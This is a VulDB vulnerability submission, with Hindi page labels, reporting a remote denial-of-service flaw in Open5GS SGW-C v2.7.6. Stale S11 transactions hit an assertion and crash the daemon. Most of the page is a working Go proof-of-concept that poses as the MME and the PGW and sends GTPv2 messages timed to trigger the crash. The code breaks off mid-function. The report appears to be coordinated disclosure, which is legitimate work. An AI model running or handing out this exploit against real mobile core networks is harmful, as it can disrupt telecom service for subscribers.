जमा करें #738372: Open5GS SGWC v2.7.6 Denial of Serviceजानकारी

शीर्षकOpen5GS SGWC v2.7.6 Denial of Service
विवरण### Description SGW-C can be forced to **abort (SIGABRT / core dumped)** if a **DeleteSessionResponse** is received on **S5-C** after the corresponding **S11 Delete Session transaction** has already timed out and been freed. The handler `sgwc_s5c_handle_delete_session_response()` assumes the associated S11 transaction (`s11_xact`) is always present; when the S11-side transaction expires before the late S5-C response arrives, `s11_xact` becomes `NULL` and the code hits `ogs_assert(s11_xact)`, terminating `open5gs-sgwcd`. This is a **remote DoS** triggered by delayed/late control-plane responses. ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` // PB2-07 PoC: DeleteSessionResponse Stale S11 Transaction // Target: Open5GS SGW-C v2.7.6 // Vulnerability: ogs_assert(s11_xact) in sgwc_s5c_handle_delete_session_response (s5c-handler.c:491) // // Attack Flow: // 1. MME -> SGW-C: CreateSessionRequest (establish session) // 2. PGW: Respond to CreateSessionRequest // 3. MME -> SGW-C: DeleteSessionRequest (creates S11 transaction) // 4. SGW-C -> PGW: DeleteSessionRequest (creates S5c transaction, associated with S11) // 5. Wait for S11 transaction to timeout // 6. PGW -> SGW-C: DeleteSessionResponse (S11 transaction already expired) // 7. ogs_assert(s11_xact) fails -> crash package main import ( "flag" "log" "net" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) var ( sgwcS11Addr = flag.String("sgwc-s11", "10.44.44.2:2123", "SGW-C S11 address") sgwcS5cAddr = flag.String("sgwc-s5c", "10.44.44.2:2123", "SGW-C S5c address") mmeAddr = flag.String("mme", "10.44.44.5:2123", "MME bind address") pgwAddr = flag.String("pgw", "10.44.44.4:2123", "PGW bind address") xactTimeout = flag.Duration("xact-timeout", 4*time.Second, "S11 transaction timeout wait") ) func main() { flag.Parse() log.SetFlags(log.Ltime | log.Lmicroseconds) log.Println("=== PB2-07 PoC: DeleteSessionResponse Stale S11 Transaction ===") log.Printf("Target: SGW-C S11=%s, S5c=%s", *sgwcS11Addr, *sgwcS5cAddr) log.Printf("Attacker: MME=%s, PGW=%s", *mmeAddr, *pgwAddr) // Parse addresses mmeLocal, _ := net.ResolveUDPAddr("udp", *mmeAddr) pgwLocal, _ := net.ResolveUDPAddr("udp", *pgwAddr) sgwcS11, _ := net.ResolveUDPAddr("udp", *sgwcS11Addr) sgwcS5c, _ := net.ResolveUDPAddr("udp", *sgwcS5cAddr) // Create MME and PGW UDP connections mmeConn, err := net.ListenUDP("udp", mmeLocal) if err != nil { log.Fatalf("Failed to bind MME: %v", err) } defer mmeConn.Close() log.Printf("[MME] Listening on %s", mmeLocal) pgwConn, err := net.ListenUDP("udp", pgwLocal) if err != nil { log.Fatalf("Failed to bind PGW: %v", err) } defer pgwConn.Close() log.Printf("[PGW] Listening on %s", pgwLocal) // State tracking var sgwS11cTeid, sgwS5cTeid uint32 var s5cSeqNum uint32 mmeSeqNum := uint32(1) pathSwitch := false // Step 1: MME -> SGW-C: CreateSessionRequest log.Println("\n[Step 1] MME -> SGW-C: CreateSessionRequest") csReq := createSessionRequest(mmeSeqNum) if err := sendMsg(mmeConn, sgwcS11, csReq); err != nil { log.Fatalf("Failed to send CreateSessionRequest: %v", err) } mmeSeqNum++ // Wait for SGW-C -> PGW: CreateSessionRequest log.Println("[Step 2] Waiting for SGW-C -> PGW: CreateSessionRequest...") buf := make([]byte, 4096) pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second)) n, _, err := pgwConn.ReadFromUDP(buf) if err != nil { log.Fatalf("Failed to receive CreateSessionRequest at PGW: %v", err) } // Parse to get SGW's S5c TEID msg, err := message.Parse(buf[:n]) if err != nil { log.Fatalf("Failed to parse message: %v", err) } switch m := msg.(type) { case *message.CreateSessionRequest: csReqFromSgw := m sgwS5cTeid, _ = csReqFromSgw.SenderFTEIDC.TEID() s5cSeqNum = csReqFromSgw.SequenceNumber log.Printf("[PGW] Received CreateSessionRequest, SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum) case *message.ModifyBearerRequest: mbReqFromSgw := m if mbReqFromSgw.SenderFTEIDC == nil { log.Fatalf("ModifyBearerRequest missing Sender F-TEID") } sgwS5cTeid, err = mbReqFromSgw.SenderFTEIDC.TEID() if err != nil { log.Fatalf("Failed to parse ModifyBearerRequest Sender F-TEID: %v", err) } s5cSeqNum = mbReqFromSgw.SequenceNumber log.Printf("[PGW] Received ModifyBearerRequest (path switch), SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum) mbRsp := modifyBearerResponse(sgwS5cTeid, s5cSeqNum) if err := sendMsg(pgwConn, sgwcS5c, mbRsp); err != nil { log.Fatalf("Failed to send ModifyBearerResponse: %v", err) } log.Println("[PGW] Sent ModifyBearerResponse (path switch)") pathSwitch = true case *message.DeleteSessionRequest: dsReqFromSgw := m sgwS5cTeid = dsReqFromSgw.TEID() s5cSeqNum = dsReqFromSgw.SequenceNumber log.Printf("[PGW] Received DeleteSessionRequest directly, TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum) log.Printf("\n[Step 3] Waiting %v for S11 transaction to timeout...", *xactTimeout) log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)") time.Sleep(*xactTimeout) log.Println("\n[Step 4] PGW -> SGW-C: DeleteSessionResponse (S11 transaction expired!)") log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH") dsRsp := deleteSessionResponse(sgwS5cTeid, s5cSeqNum) if err := sendMsg(pgwConn, sgwcS5c, dsRsp); err != nil { log.Fatalf("Failed to send DeleteSessionResponse: %v", err) } log.Println("\n[*] PoC sent! Check SGW-C for crash:") log.Println(" FATAL: sgwc_s5c_handle_delete_session_response: Assertion `s11_xact' failed.") log.Println(" (s5c-handler.c:491)") time.Sleep(2 * time.Second) return default: log.Fatalf("Expected CreateSessionRequest or DeleteSessionRequest, got %T", msg) } if !pathSwitch { // Step 3: PGW -> SGW-C: CreateSessionResponse log.Println("[Step 3] PGW -> SGW-C: CreateSessionResponse") pgwS5cTeid := uint32(0x30000001) pgwS5uTeid := uint32(0x30000002) csRsp := createSessionResponse(sgwS5cTeid, s5cSeqNum, pgwS5cTeid, pgwS5uTeid) if err := sendMsg(pgwConn, sgwcS5c, csRsp); err != nil { log.Fatalf("Failed to send CreateSessionResponse: %v", err) } } // Wait for SGW-C -> MME: CreateSessionResponse log.Println("[Step 4] Waiting for SGW-C -> MME: CreateSessionResponse...") mmeConn.SetReadDeadline(time.Now().Add(5 * time.Second)) n, _, err = mmeConn.ReadFromUDP(buf) if err != nil { log.Fatalf("Failed to receive CreateSessionResponse at MME: %v", err) } msg, err = message.Parse(buf[:n]) if err != nil { log.Fatalf("Failed to parse CreateSessionResponse: %v", err) } csRspFromSgw, ok := msg.(*message.CreateSessionResponse) if !ok { log.Fatalf("Expected CreateSessionResponse, got %T", msg) } if csRspFromSgw.Cause != nil { if cause, err := csRspFromSgw.Cause.Cause(); err == nil { log.Printf("[MME] CreateSessionResponse cause=%d", cause) } } if csRspFromSgw.SenderFTEIDC == nil { log.Fatalf("CreateSessionResponse missing Sender F-TEID (session not accepted or SGW-U not ready)") } sgwS11cTeid, err = csRspFromSgw.SenderFTEIDC.TEID() if err != nil { log.Fatalf("Failed to parse Sender F-TEID: %v", err) } log.Printf("[MME] Session established! SGW S11c TEID: 0x%08x", sgwS11cTeid) // Step 5: MME -> SGW-C: DeleteSessionRequest log.Println("\n[Step 5] MME -> SGW-C: DeleteSessionRequest") dsReq := deleteSessionRequest(sgwS11cTeid, mmeSeqNum) if err := sendMsg(mmeConn, sgwcS11, dsReq); err != nil { log.Fatalf("Failed to send DeleteSessionRequest: %v", err) } mmeSeqNum++ // Wait for SGW-C -> PGW: DeleteSessionRequest log.Println("[Step 6] Waiting for SGW-C -> PGW: DeleteSessionRequest...") pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second)) n, _, err = pgwConn.ReadFromUDP(buf) if err != nil { log.Fatalf("Failed to receive DeleteSessionRequest at PGW: %v", err) } msg, _ = message.Parse(buf[:n]) dsReqFromSgw, ok := msg.(*message.DeleteSessionRequest) if !ok { log.Fatalf("Expected DeleteSessionRequest, got %T", msg) } s5cSeqNum = dsReqFromSgw.SequenceNumber log.Printf("[PGW] Received DeleteSessionRequest, Seq: %d", s5cSeqNum) // Step 7: Wait for S11 transaction to timeout log.Printf("\n[Step 7] Waiting %v for S11 transaction to timeout...", *xactTimeout) log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)") time.Sleep(*xactTimeout) // Step 8: PGW -> SGW-C: DeleteSessionResponse (delayed) log.Println("\n[Step 8] PGW -> SGW-C: DeleteSessionResponse (S11 transaction expired!)") log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH") dsRsp := deleteSessionResponse(sgwS5cTeid, s5cSeqNum) if err := sendMsg(pgwConn, sgwcS5c, dsRsp); err != nil { log.Fatalf("Failed to send DeleteSessionResponse: %v", err) } log.Println("\n[*] PoC sent! Check SGW-C for crash:") log.Println(" FATAL: sgwc_s5c_handle_delete_session_response: Assertion `s11_xact' failed.") log.Println(" (s5c-handler.c:491)") // Wait a bit time.Sleep(2 * time.Second) } func createSessionRequest(seq uint32) message.Message { return message.NewCreateSessionRequest( 0, seq, ie.NewIMSI("001010000000001"), ie.NewMSISDN("0000000000"), ie.NewMobileEquipmentIdentity("353490061234560"), ie.NewServingNetwork("001", "01"), ie.NewRATType(gtpv2.RATTypeEUTRAN), ie.NewIndicationFromOctets(0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, 0x10000001, "10.44
स्रोत⚠️ https://github.com/open5gs/open5gs/issues/4267
उपयोगकर्ता
 FrankyLin (UID 94345)
सबमिशन14/01/2026 04:10 AM (5 महीनों पहले)
संयम28/01/2026 02:20 PM (14 days later)
स्थितिप्रतिलिपि
VulDB प्रविष्टि341596 [Open5GS तक 2.7.6 src/sgwc/s5c-handler.c sgwc_s5c_handle_create_session_response सेवा अस्वीकार]
अंक0

Might our Artificial Intelligence support you?

Check our Alexa App!